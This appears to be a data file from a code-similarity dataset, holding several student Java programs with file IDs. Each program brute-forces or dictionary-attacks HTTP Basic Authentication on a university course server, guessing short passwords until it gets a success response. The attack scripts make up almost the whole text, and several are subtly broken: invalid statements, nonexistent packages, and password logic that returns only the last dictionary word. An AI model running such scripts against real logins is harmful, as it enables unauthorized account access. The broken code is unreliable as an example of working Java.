243.java "import java.net.*;
import java.io.*;
public class Dictionary {
int attempts = 0;
URLConnection conn = null;
public static void main (String args[]){
Dictionary a = new Dictionary();
a.attack(args);
}
public void attack(String args[]) {
try {
String login = new String("""");
String url = new String(""http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
String passwd = new String();
passwd = getPasswd();
BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));
String line;
while ((line = in.readLine()) != null) {
System.out.println(line);
}
System.out.println(""Password Cracked Successfully!!!"");
System.out.println(""The passsword is :"" + passwd + ""and got after "" +attempts + "" tries"");
}
catch (IOException e) {
String r = new String(e.getMessage());
if ( r != null)
{
System.out.println(""Message :"" +r);
Dictionary a = new Dictionary();
a.attack(args);
}
else
{
System.out.println(""Trying again"");
Dictionary a = new Dictionary();
a.attack(args);
}
}
}
public String getPasswd()
{
int i=0;int j=0;
attempts++;
int count =0;
System.out.println(""Passing dictionary word and waiting for URL reply....... "");
String currentword = """";
String se = """";
try{
FileInputStream reader = new FileInputStream (""words"");
DataInputStream in = new DataInputStream(reader);
while (in.available() !=0)
{
currentword = in.readLine();
count++;
}
}
catch( IOException e){}
return currentword;
}
public InputStream openURLForInput (URL url, String uname, String pword)
throws IOException {
conn = url.openConnection();
conn.setDoInput (true);
conn.setRequestProperty (""Authorization"", userNamePasswordBase64(uname,pword));
conn.connect ();
return conn.getInputStream();
}
public String userNamePasswordBase64(String username, String password) {
return "" "" + base64Encode (username + "":"" + password);
}
private final static char base64Array [] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/'
};
private static String base64Encode (String string) {
String encodedString = """";
byte bytes [] = string.getBytes ();
int i = 0;
int pad = 0;
while (i < bytes.length) {
byte b1 = bytes [i++];
byte b2;
byte b3;
if (i >= bytes.length) {
b2 = 0;
b3 = 0;
pad = 2;
}
else {
b2 = bytes [i++];
if (i >= bytes.length) {
b3 = 0;
pad = 1;
}
else
b3 = bytes [i++];
}
byte c1 = (byte)(b1 >> 2);
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
byte c4 = (byte)(b3 & 0x3f);
encodedString += base64Array [c1];
encodedString += base64Array [c2];
switch (pad) {
case 0:
encodedString += base64Array [c3];
encodedString += base64Array [c4];
break;
case 1:
encodedString += base64Array [c3];
encodedString += ""="";
break;
case 2:
encodedString += ""=="";
break;
}
}
return encodedString;
}
}
" "087.java 155.java 242.java"
094.java "
import java.net.*;
import java.io.*;
public class BruteForce{
private String passwd = """";
private String command = """";
private BufferedReader in;
private PrintWriter out;
private int startTime = 0;
private int endTime = 0;
private int totalTimes = 0;
private boolean bfind = false;
private String str =""abcdefghlijkmnopqrstuvwxyz'ABCDEFGHLIJKMNOPQRSTUVWXYZ0123456789."";
public BruteForce(){}
public void doRequest(){
startTime = System.currentTimeMillis();
for(int i=0; i < str.length(); i++){
if(bfind) break;
for(int j=0; j < str.length(); j++){
if(bfind) break;
for(int k=0; k < str.length(); k++){
if(bfind) break;
passwd = String.valueOf(str.charAt(i))+ String.valueOf(str.charAt(j))
+String.valueOf(str.charAt(k));
connection(passwd);
}
}
}
if(!bfind){
for(int i = 0; i < str.length(); i++){
if(bfind) break;
for(int j = 0; j<str.length(); j++){
if(bfind) break;
passwd = String.valueOf(str.charAt(i))+ String.valueOf(str.charAt(j));
connection(passwd);
}
}
}
if(!bfind){
for(int i = 0; i < str.length(); i++){
if(bfind) break;
passwd = String.valueOf(str.charAt(i));
connection(passwd);
}
}
}
public void connection(String passwd){
command = ""lynx -head -dump http://sec-crack.cs.rmit.edu./SEC/2/index.php -auth=:"";
command = command + passwd;
try{
System.out.println(passwd +""--> Establishing a connection."");
Runtime runtime = Runtime.getRuntime();
Process p = runtime.exec(command);
in = new BufferedReader(new InputStreamReader(p.getInputStream()));
String inStr;
while((inStr = in.readLine())!= null){
if(inStr.indexOf(""HTTP/1.1 200"") != -1 || inStr.indexOf(""HTTP/1.0 200"") != -1||
inStr.indexOf(""HTTP/1.1 404"") != -1 || inStr.indexOf(""HTTP/1.0 404"") != -1){
endTime = System.currentTimeMillis();
totalTimes = endTime - startTime;
System.out.println(""\nBruteForce Crack PassWord successful! PassWord is "" + passwd);
System.out.println(""Total Times is "" + totalTimes + "" milliSec"");
System.out.println(""Writing it brutepswd.txt file\n"");
out = new PrintWriter(new BufferedWriter(new FileWriter(""brutepswd.txt"")));
out.println(""BruteForce Crack PassWord Successful! Total Times: "" + totalTimes + "" milliSec"");
out.println(""Passwd: ""+ passwd);
out.flush();
bfind = true;
}
out.print();
}
in.print();
}catch(Exception e){System.out.println(e.getMessage());}
}
public String getAnyKey()throws Exception{
BufferedReader stdin =new BufferedReader(new InputStreamReader(System.in));
String key= stdin.readLine();
return key;
}
public static void main (String []args){
BruteForce bf = new BruteForce();
System.out.println(""\n*******************************************"");
System.out.println(""* *"");
System.out.println(""* BruteForce Crack Passwd Program *"");
System.out.println(""* --------------------------------- *"");
System.out.println(""* Author: *"");
System.out.println(""* *"");
System.out.println(""*******************************************"");
System.out.println(""\n BruteForce Crack Passwd Information:\n"");
System.out.println(""--> UserName: "");
System.out.println(""--> MaxPasswdLength: 3"");
System.out.println(""--> URL: http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
System.out.println(""--> Alphabet: ""+ bf.str+""\n"");
System.out.println(""==> Press Ctrl+C stop Crack\n"");
System.out.print(""==> Press EnterKey : "");
try{
String key = bf.getAnyKey();
}catch(Exception e){System.out.println(e.getMessage());}
bf.doRequest();
}
}" 098.java
235.java "
import java.io.*;
import java.net.*;
import java.util.*;
import java.misc.BASE64Encoder;
public class BruteForce {
private String userId;
private String password;
private StringBuffer seed= new StringBuffer(""aaa"");
private int tries = 1;
public BruteForce() {
Authenticator.setDefault (new MyAuthenticator());
}
public String fetchURL (String urlString) {
HttpURLConnection connection;
StringBuffer sb = new StringBuffer();
Date startTime, endTime;
int responseCode = -1;
boolean retry = true;
URL url;
startTime = new Date();
System.out.println ("" time :"" + startTime);
while (retry == true)
{
try {
url = new URL (urlString);
connection = (HttpURLConnection)url.openConnection();
setUserId("""");
setPassword(""rhk8611"");
System.out.println(""Attempting get a response : "" +connection.getURL() );
responseCode = connection.getResponseCode();
System.out.print(responseCode + "" "");
if (responseCode == HttpURLConnection.HTTP_OK)
{
retry = false;
System.out.println(""**** ACCESS GRANTED *****"");
} else
{
retry = true;
throw new IOException(
""HTTP response : "" + String.valueOf(responseCode) +
""\nResponse Message: "" +connection.getResponseMessage());
}
InputStream content = (InputStream)url.getContent();
BufferedReader in =
new BufferedReader (new InputStreamReader (content));
String line;
while ((line = in.readLine()) != null) {
sb.append(line);
}
} catch (MalformedURLException e) {
retry=false;
System.out.println (""Invalid URL"" + e.getMessage());
} catch (IOException e) {
retry=true;
connection = null;
System.out.println (""Error URL \n"" + e.getMessage());
}
}
endTime = new Date();
System.out.print (""Total Time taken :"" + (endTime.getTime() - startTime.getTime())/1000*60 + "" Minutes "");
System.out.println ((endTime.getTime() - startTime.getTime())/1000 + "" Sec"");
return sb.toString();
}
public static void main (String args[]) {
BruteForce myGenerator = new BruteForce();
System.out.println(""Starting seed is : ""+ myGenerator.getSeed() );
String pageFound = myGenerator.fetchURL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
System.out.println("" ACCESSED ->\n"" + pageFound);
}
class MyAuthenticator extends Authenticator {
protected PasswordAuthentication getPasswordAuthentication()
{
String username = getUserId();
String pass = getPassword();
if (pass.equals(""ZZZ""))
{
System.out.println(""\nReached the end of combinations. EXITING.\n"");
System.exit(0);
}
if ((tries % 8) == 0 )
{
pass = """" + getNextPassword();
}else
{
pass = """"+ getNextPasswordCase(""""+getSeed(), tries%8);
}
tries ++;
System.out.println(tries + "" Authenticating with -> "" + pass);
return new PasswordAuthentication (username, pass.toCharArray());
}
}
public String getPassword()
{
return this.password;
}
public void setPassword(String password)
{
this.password = password;
}
public String getUserId()
{
return this.userId;
}
public void setUserId(String userId)
{
this.userId = userId;
}
public StringBuffer getNextPassword()
{
final int STRING_RADIX = 36;
int changeDigit;
int dig;
char cdig;
changeDigit = 2;
if (getSeed().charAt(changeDigit) < 'z')
{
dig = Character.digit(getSeed().charAt(changeDigit), STRING_RADIX);
dig = dig + 1;
cdig = Character.forDigit(dig, STRING_RADIX);
seed.setCharAt(changeDigit,cdig);
} else
{
seed.setCharAt(2,'a');
changeDigit = 1;
if (getSeed().charAt(changeDigit) < 'z')
{
dig = Character.digit(getSeed().charAt(changeDigit), STRING_RADIX);
dig = dig + 1;
cdig = Character.forDigit(dig, STRING_RADIX);
seed.setCharAt(changeDigit,cdig);
} else
{
seed.setCharAt(2,'a');
seed.setCharAt(1,'a');
changeDigit = 0;
if (getSeed().charAt(changeDigit) < 'z')
{
dig = Character.digit(getSeed().charAt(changeDigit), STRING_RADIX);
dig = dig + 1;
cdig = Character.forDigit(dig, STRING_RADIX);
seed.setCharAt(changeDigit,cdig);
}
}
}
return getSeed();
}
private StringBuffer getNextPasswordCase(String pwd, int inx)
{
StringBuffer casePwd = new StringBuffer(pwd);
char myChar;
switch (inx)
{
case 1:
myChar = pwd.charAt(0);
casePwd.setCharAt(0, Character.toUpperCase(myChar));
break;
case 2:
myChar = pwd.charAt(1);
casePwd.setCharAt(1, Character.toUpperCase(myChar));
break;
case 3:
myChar = pwd.charAt(2);
casePwd.setCharAt(2, Character.toUpperCase(myChar));
break;
case 4:
myChar = pwd.charAt(0);
casePwd.setCharAt(0, Character.toUpperCase(myChar));
myChar = pwd.charAt(1);
casePwd.setCharAt(1, Character.toUpperCase(myChar));
break;
case 5:
myChar = pwd.charAt(0);
casePwd.setCharAt(0, Character.toUpperCase(myChar));
myChar = pwd.charAt(2);
casePwd.setCharAt(2, Character.toUpperCase(myChar));
break;
case 6:
myChar = pwd.charAt(1);
casePwd.setCharAt(1, Character.toUpperCase(myChar));
myChar = pwd.charAt(2);
casePwd.setCharAt(2, Character.toUpperCase(myChar));
break;
case 7:
myChar = pwd.charAt(0);
casePwd.setCharAt(0, Character.toUpperCase(myChar));
myChar = pwd.charAt(1);
casePwd.setCharAt(1, Character.toUpperCase(myChar));
myChar = pwd.charAt(2);
casePwd.setCharAt(2, Character.toUpperCase(myChar));
break;
}
return(casePwd);
}
public StringBuffer getSeed()
{
return this.seed;
}
public void setSeed(StringBuffer seed)
{
this.seed = seed;
}
}
" 237.java
258.java "
import java.awt.*;
import java.util.*;
import java.net.*;
import java.io.*;
import java.*;
public class Dictionary
{
public static void main(String args[]) throws Exception
{
String urlPath = null;
if(args.length > 0)
{
urlPath = args[0];
System.out.println(""URL "" + urlPath);
Dictionary dict = new Dictionary(urlPath);
}
else{
System.out.println(""Please enter URL at command prompt"");
System.out.println(""eg. >java Dictionary http://sec-crack.cs.rmit.edu./SEC/2/"");
}
System.exit(0);
}
public Dictionary(String urlPath) throws Exception
{
linkToWeb(urlPath);
}
public boolean linkToWeb(String urlPath) throws Exception
{
HttpURLConnection connection;
String word = null;
String usrName = """";
String usrNamePwd = null;
String encoding = null;
URL = new URL(urlPath);
BufferedReader inputStream = new BufferedReader(new FileReader(""words""));
word = inputStream.readLine();
while(word != null)
{
if(word.length() <= 3){
usrNamePwd = usrName +"":""+ word;
encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes());
connection = (HttpURLConnection).openConnection();
connection.setRequestProperty(""Authorization"", "" "" + encoding);
System.out.println(word);
if(connection.getResponseCode() == 200){
System.out.println(""Password Found "" +word);
return true;
}
connection.disconnect();
}
word = inputStream.readLine();
}
System.out.println(""Password not found"" );
return false;
}
public class Base64Converter
{
public final char [ ] alphabet = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' };
public String encode ( String s )
{
return encode ( s.getBytes ( ) );
}
public String encode ( byte [ ] octetString )
{
int bits24;
int bits6;
char [ ] out
= new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
int outIndex = 0;
int i = 0;
while ( ( i + 3 ) <= octetString.length )
{
bits24 = ( octetString [ i++ ] & 0xFF ) << 16;
bits24 |= ( octetString [ i++ ] & 0xFF ) << 8;
bits24 |= ( octetString [ i++ ] & 0xFF ) << 0;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0000003F );
out [ outIndex++ ] = alphabet [ bits6 ];
}
if ( octetString.length - i == 2 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
}
else if ( octetString.length - i == 1 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
out [ outIndex++ ] = '=';
}
return new String ( out );
}
}
}
" "257.java 048.java 185.java 059.java 183.java"